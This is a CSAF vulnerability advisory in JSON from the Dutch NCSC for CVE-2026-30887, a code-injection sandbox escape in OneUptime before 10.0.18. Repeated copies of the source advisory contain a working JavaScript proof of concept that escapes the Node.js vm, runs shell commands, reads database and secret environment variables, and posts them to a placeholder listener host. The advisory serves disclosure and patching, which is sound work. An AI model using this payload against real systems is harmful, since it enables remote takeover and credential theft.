{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-30887",
        "tracking": {
            "current_release_date": "2026-03-22T12:25:18.478997Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-30887",
            "initial_release_date": "2026-03-09T17:02:43.272664Z",
            "revision_history": [
                {
                    "date": "2026-03-09T17:02:43.272664Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-09T17:02:45.666526Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-09T18:21:01.202074Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-09T18:21:14.722933Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-09T23:38:51.845262Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-09T23:38:54.019285Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-10T07:34:46.275061Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-10T14:21:02.568691Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-10T14:21:05.814764Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-10T14:38:45.863890Z",
                    "number": "10",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-10T18:30:27.824901Z",
                    "number": "11",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-10T18:30:39.013496Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-10T19:58:32.102520Z",
                    "number": "13",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-11T23:52:16.117112Z",
                    "number": "14",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-12T14:25:55.143577Z",
                    "number": "15",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-12T14:26:00.084942Z",
                    "number": "16",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-17T18:36:44.177752Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-19T15:29:07.144603Z",
                    "number": "18",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T15:29:08.948135Z",
                    "number": "19",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:33:44.422870Z",
                    "number": "20",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-22T12:25:14.879543Z",
                    "number": "21",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "21"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<10.0.18",
                                "product": {
                                    "name": "vers:unknown/>=0|<10.0.18",
                                    "product_id": "CSAFPID-5771923"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "@oneuptime/common"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<10.0.18",
                                "product": {
                                    "name": "vers:unknown/<10.0.18",
                                    "product_id": "CSAFPID-5772722"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "oneuptime"
                    }
                ],
                "category": "vendor",
                "name": "OneUptime"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<10.0.18",
                                "product": {
                                    "name": "vers:unknown/<10.0.18",
                                    "product_id": "CSAFPID-5810419",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "oneuptime"
                    }
                ],
                "category": "vendor",
                "name": "hackerbay"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-30887",
            "cwe": {
                "id": "CWE-94",
                "name": "Improper Control of Generation of Code ('Code Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\nOneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js `vm` module. By leveraging a standard prototype-chain escape (`this.constructor.constructor`), an attacker can bypass the sandbox, gain access to the underlying Node.js `process` object, and execute arbitrary system commands (RCE) on the `oneuptime-probe` container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.\n\n### Details\nThe root cause of the vulnerability exists in [Common/Server/Utils/VM/VMRunner.ts](oneuptime/Common/Server/Utils/VM/VMRunner.ts) where user-supplied JavaScript is executed using `vm.runInContext()`:\n\n```typescript\nconst vmPromise = vm.runInContext(script, sandbox, { ... });\n```\n\nThe Node.js documentation explicitly warns that the `vm` module is not a security boundary and should never be used to run untrusted code. \n\nWhen a user creates a **Synthetic Monitor**, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., `isolated-vm` or a dedicated restricted container). \n\nAn attacker can use the payload `const proc = this.constructor.constructor('return process')();` to step out of the sandbox context and grab the host's native `process` object. From there, they can require `child_process` to execute arbitrary shell commands. \n\nSince the `oneuptime-probe` service runs with access to sensitive environment variables (such as `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, etc.), an attacker can trivially exfiltrate these secrets to an external server.\n\n### PoC\nThis exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least \"Project Member\" permissions.\n\n1. **Log In**: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).\n2. **Navigate**: Go to **Monitors** > **Create New Monitor**.\n3. **Monitor Type**: Select **Synthetic Monitor**.\n4. **Browser/Screen Settings**: Ensure **Chromium** is selected for \"Browser Types\" and **Desktop** is selected for \"Screen Size Types\".\n5. **Payload Injection**: Scroll down to the \"Playwright Code\" editor. Delete the default template and paste the following malicious JavaScript payload:\n\n```javascript\nreturn new Promise((resolve) => {\n    try {\n        // 1. Traverse the prototype chain to grab the host's process object\n        const proc = this.constructor.constructor('return process')();\n        \n        // 2. Load the host's child_process module & run a system command\n        const cp = proc.mainModule.require('child_process');\n        const output = cp.execSync('ls -la /usr/src/app').toString();\n        \n        // 3. (Optional) Read sensitive environment secrets\n        const secret = proc.env.ONEUPTIME_SECRET;\n        const db_pass = proc.env.DATABASE_PASSWORD;\n        \n        // 4. Exfiltrate the data via the native `http` module\n        const http_real = proc.mainModule.require('http');\n        const req = http_real.request({ \n            hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE', \n            port: 80, \n            path: '/', \n            method: 'POST' \n        }, (res) => {\n            resolve(\"EXFILTRATION_STATUS: \" + res.statusCode);\n        });\n        \n        req.on('error', (e) => resolve(\"EXFILTRATION_ERROR: \" + e.message));\n        \n        const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });\n        req.write(payloadData);\n        req.end();\n    } catch(e) {\n        resolve(\"CRITICAL_ERROR: \" + e.message);\n    }\n});\n```\n\n6. **Save & Execute**: Click **Save**. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.\n\nOUTPUT:\n```\n{\"rce_output\":\"total 296\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:27 .\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:26 ..\\n-rw-r--r--   1 root root     16 Mar  3 18:24 .gitattributes\\n-rwxr-xr-x   1 root root    403 Mar  3 18:24 .gitignore\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 API\\n-rw-r--r--   1 root root   4103 Mar  3 18:24 Config.ts\\n-rw-r--r--   1 root root   2602 Mar  3 18:24 Dockerfile\\n-rw-r--r--   1 root root   2705 Mar  3 18:24 Dockerfile.tpl\\n-rw-r--r--   1 root root   2935 Mar  3 18:24 Index.ts\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Jobs\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 Services\\ndrwxr-xr-x   4 root root   4096 Mar  3 18:24 Tests\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Utils\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:27 build\\n-rw-r--r--   1 root root    889 Mar  3 18:24 jest.config.json\\ndrwxr-xr-x 297 root root  12288 Mar  3 18:26 node_modules\\n-rw-r--r--   1 root root    353 Mar  3 18:24 nodemon.json\\n-rw-r--r--   1 root root 203119 Mar  3 18:24 package-lock.json\\n-rw-r--r--   1 root root   1481 Mar  3 18:24 package.json\\n-rw-r--r--   1 root root  11514 Mar  3 18:24 tsconfig.json\\n\"}\n\n```\n<img width=\"1364\" height=\"470\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba\" />\n\n\n### Impact\n**What kind of vulnerability is it?** \nRemote Code Execution (RCE) / Code Injection / Sandbox Escape.\n\n**Who is impacted?** \nAny OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.\n\n---",
                    "title": "github - https://github.com/advisories/GHSA-h343-gg57-2q67"
                },
                {
                    "category": "description",
                    "text": "### Summary\nOneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js `vm` module. By leveraging a standard prototype-chain escape (`this.constructor.constructor`), an attacker can bypass the sandbox, gain access to the underlying Node.js `process` object, and execute arbitrary system commands (RCE) on the `oneuptime-probe` container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.\n\n### Details\nThe root cause of the vulnerability exists in [Common/Server/Utils/VM/VMRunner.ts](oneuptime/Common/Server/Utils/VM/VMRunner.ts) where user-supplied JavaScript is executed using `vm.runInContext()`:\n\n```typescript\nconst vmPromise = vm.runInContext(script, sandbox, { ... });\n```\n\nThe Node.js documentation explicitly warns that the `vm` module is not a security boundary and should never be used to run untrusted code. \n\nWhen a user creates a **Synthetic Monitor**, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., `isolated-vm` or a dedicated restricted container). \n\nAn attacker can use the payload `const proc = this.constructor.constructor('return process')();` to step out of the sandbox context and grab the host's native `process` object. From there, they can require `child_process` to execute arbitrary shell commands. \n\nSince the `oneuptime-probe` service runs with access to sensitive environment variables (such as `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, etc.), an attacker can trivially exfiltrate these secrets to an external server.\n\n### PoC\nThis exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least \"Project Member\" permissions.\n\n1. **Log In**: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).\n2. **Navigate**: Go to **Monitors** > **Create New Monitor**.\n3. **Monitor Type**: Select **Synthetic Monitor**.\n4. **Browser/Screen Settings**: Ensure **Chromium** is selected for \"Browser Types\" and **Desktop** is selected for \"Screen Size Types\".\n5. **Payload Injection**: Scroll down to the \"Playwright Code\" editor. Delete the default template and paste the following malicious JavaScript payload:\n\n```javascript\nreturn new Promise((resolve) => {\n    try {\n        // 1. Traverse the prototype chain to grab the host's process object\n        const proc = this.constructor.constructor('return process')();\n        \n        // 2. Load the host's child_process module & run a system command\n        const cp = proc.mainModule.require('child_process');\n        const output = cp.execSync('ls -la /usr/src/app').toString();\n        \n        // 3. (Optional) Read sensitive environment secrets\n        const secret = proc.env.ONEUPTIME_SECRET;\n        const db_pass = proc.env.DATABASE_PASSWORD;\n        \n        // 4. Exfiltrate the data via the native `http` module\n        const http_real = proc.mainModule.require('http');\n        const req = http_real.request({ \n            hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE', \n            port: 80, \n            path: '/', \n            method: 'POST' \n        }, (res) => {\n            resolve(\"EXFILTRATION_STATUS: \" + res.statusCode);\n        });\n        \n        req.on('error', (e) => resolve(\"EXFILTRATION_ERROR: \" + e.message));\n        \n        const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });\n        req.write(payloadData);\n        req.end();\n    } catch(e) {\n        resolve(\"CRITICAL_ERROR: \" + e.message);\n    }\n});\n```\n\n6. **Save & Execute**: Click **Save**. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.\n\nOUTPUT:\n```\n{\"rce_output\":\"total 296\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:27 .\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:26 ..\\n-rw-r--r--   1 root root     16 Mar  3 18:24 .gitattributes\\n-rwxr-xr-x   1 root root    403 Mar  3 18:24 .gitignore\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 API\\n-rw-r--r--   1 root root   4103 Mar  3 18:24 Config.ts\\n-rw-r--r--   1 root root   2602 Mar  3 18:24 Dockerfile\\n-rw-r--r--   1 root root   2705 Mar  3 18:24 Dockerfile.tpl\\n-rw-r--r--   1 root root   2935 Mar  3 18:24 Index.ts\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Jobs\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 Services\\ndrwxr-xr-x   4 root root   4096 Mar  3 18:24 Tests\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Utils\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:27 build\\n-rw-r--r--   1 root root    889 Mar  3 18:24 jest.config.json\\ndrwxr-xr-x 297 root root  12288 Mar  3 18:26 node_modules\\n-rw-r--r--   1 root root    353 Mar  3 18:24 nodemon.json\\n-rw-r--r--   1 root root 203119 Mar  3 18:24 package-lock.json\\n-rw-r--r--   1 root root   1481 Mar  3 18:24 package.json\\n-rw-r--r--   1 root root  11514 Mar  3 18:24 tsconfig.json\\n\"}\n\n```\n<img width=\"1364\" height=\"470\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba\" />\n\n\n### Impact\n**What kind of vulnerability is it?** \nRemote Code Execution (RCE) / Code Injection / Sandbox Escape.\n\n**Who is impacted?** \nAny OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.\n\n---",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-h343-gg57-2q67.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "OneUptime is a solution for monitoring and managing online services. Prior to 10.0.18, OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise. This vulnerability is fixed in 10.0.18.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-30887"
                },
                {
                    "category": "description",
                    "text": "OneUptime is a solution for monitoring and managing online services. Prior to 10.0.18, OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise. This vulnerability is fixed in 10.0.18.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-30887"
                },
                {
                    "category": "description",
                    "text": "### Summary\nOneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js `vm` module. By leveraging a standard prototype-chain escape (`this.constructor.constructor`), an attacker can bypass the sandbox, gain access to the underlying Node.js `process` object, and execute arbitrary system commands (RCE) on the `oneuptime-probe` container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.\n\n### Details\nThe root cause of the vulnerability exists in [Common/Server/Utils/VM/VMRunner.ts](oneuptime/Common/Server/Utils/VM/VMRunner.ts) where user-supplied JavaScript is executed using `vm.runInContext()`:\n\n```typescript\nconst vmPromise = vm.runInContext(script, sandbox, { ... });\n```\n\nThe Node.js documentation explicitly warns that the `vm` module is not a security boundary and should never be used to run untrusted code. \n\nWhen a user creates a **Synthetic Monitor**, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., `isolated-vm` or a dedicated restricted container). \n\nAn attacker can use the payload `const proc = this.constructor.constructor('return process')();` to step out of the sandbox context and grab the host's native `process` object. From there, they can require `child_process` to execute arbitrary shell commands. \n\nSince the `oneuptime-probe` service runs with access to sensitive environment variables (such as `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, etc.), an attacker can trivially exfiltrate these secrets to an external server.\n\n### PoC\nThis exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least \"Project Member\" permissions.\n\n1. **Log In**: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).\n2. **Navigate**: Go to **Monitors** > **Create New Monitor**.\n3. **Monitor Type**: Select **Synthetic Monitor**.\n4. **Browser/Screen Settings**: Ensure **Chromium** is selected for \"Browser Types\" and **Desktop** is selected for \"Screen Size Types\".\n5. **Payload Injection**: Scroll down to the \"Playwright Code\" editor. Delete the default template and paste the following malicious JavaScript payload:\n\n```javascript\nreturn new Promise((resolve) => {\n    try {\n        // 1. Traverse the prototype chain to grab the host's process object\n        const proc = this.constructor.constructor('return process')();\n        \n        // 2. Load the host's child_process module & run a system command\n        const cp = proc.mainModule.require('child_process');\n        const output = cp.execSync('ls -la /usr/src/app').toString();\n        \n        // 3. (Optional) Read sensitive environment secrets\n        const secret = proc.env.ONEUPTIME_SECRET;\n        const db_pass = proc.env.DATABASE_PASSWORD;\n        \n        // 4. Exfiltrate the data via the native `http` module\n        const http_real = proc.mainModule.require('http');\n        const req = http_real.request({ \n            hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE', \n            port: 80, \n            path: '/', \n            method: 'POST' \n        }, (res) => {\n            resolve(\"EXFILTRATION_STATUS: \" + res.statusCode);\n        });\n        \n        req.on('error', (e) => resolve(\"EXFILTRATION_ERROR: \" + e.message));\n        \n        const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });\n        req.write(payloadData);\n        req.end();\n    } catch(e) {\n        resolve(\"CRITICAL_ERROR: \" + e.message);\n    }\n});\n```\n\n6. **Save & Execute**: Click **Save**. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.\n\nOUTPUT:\n```\n{\"rce_output\":\"total 296\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:27 .\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:26 ..\\n-rw-r--r--   1 root root     16 Mar  3 18:24 .gitattributes\\n-rwxr-xr-x   1 root root    403 Mar  3 18:24 .gitignore\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 API\\n-rw-r--r--   1 root root   4103 Mar  3 18:24 Config.ts\\n-rw-r--r--   1 root root   2602 Mar  3 18:24 Dockerfile\\n-rw-r--r--   1 root root   2705 Mar  3 18:24 Dockerfile.tpl\\n-rw-r--r--   1 root root   2935 Mar  3 18:24 Index.ts\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Jobs\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 Services\\ndrwxr-xr-x   4 root root   4096 Mar  3 18:24 Tests\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Utils\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:27 build\\n-rw-r--r--   1 root root    889 Mar  3 18:24 jest.config.json\\ndrwxr-xr-x 297 root root  12288 Mar  3 18:26 node_modules\\n-rw-r--r--   1 root root    353 Mar  3 18:24 nodemon.json\\n-rw-r--r--   1 root root 203119 Mar  3 18:24 package-lock.json\\n-rw-r--r--   1 root root   1481 Mar  3 18:24 package.json\\n-rw-r--r--   1 root root  11514 Mar  3 18:24 tsconfig.json\\n\"}\n\n```\n<img width=\"1364\" height=\"470\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba\" />\n\n\n### Impact\n**What kind of vulnerability is it?** \nRemote Code Execution (RCE) / Code Injection / Sandbox Escape.\n\n**Who is impacted?** \nAny OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.\n\n---",
                    "title": "github - https://api.github.com/advisories/GHSA-h343-gg57-2q67"
                },
                {
                    "category": "other",
                    "text": "0.00055",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.9",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is cvss data available from a private source, There is product data available from a private source",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5771923",
                    "CSAFPID-5772722",
                    "CSAFPID-5810419"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-h343-gg57-2q67"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-h343-gg57-2q67"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-h343-gg57-2q67.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-30887"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/30xxx/CVE-2026-30887.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30887"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30887"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-30887"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-h343-gg57-2q67"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-h343-gg57-2q67"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-h343-gg57-2q67"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30887"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
                        "baseScore": 9.9,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-5771923",
                        "CSAFPID-5772722",
                        "CSAFPID-5810419"
                    ]
                }
            ],
            "title": "CVE-2026-30887"
        }
    ]
}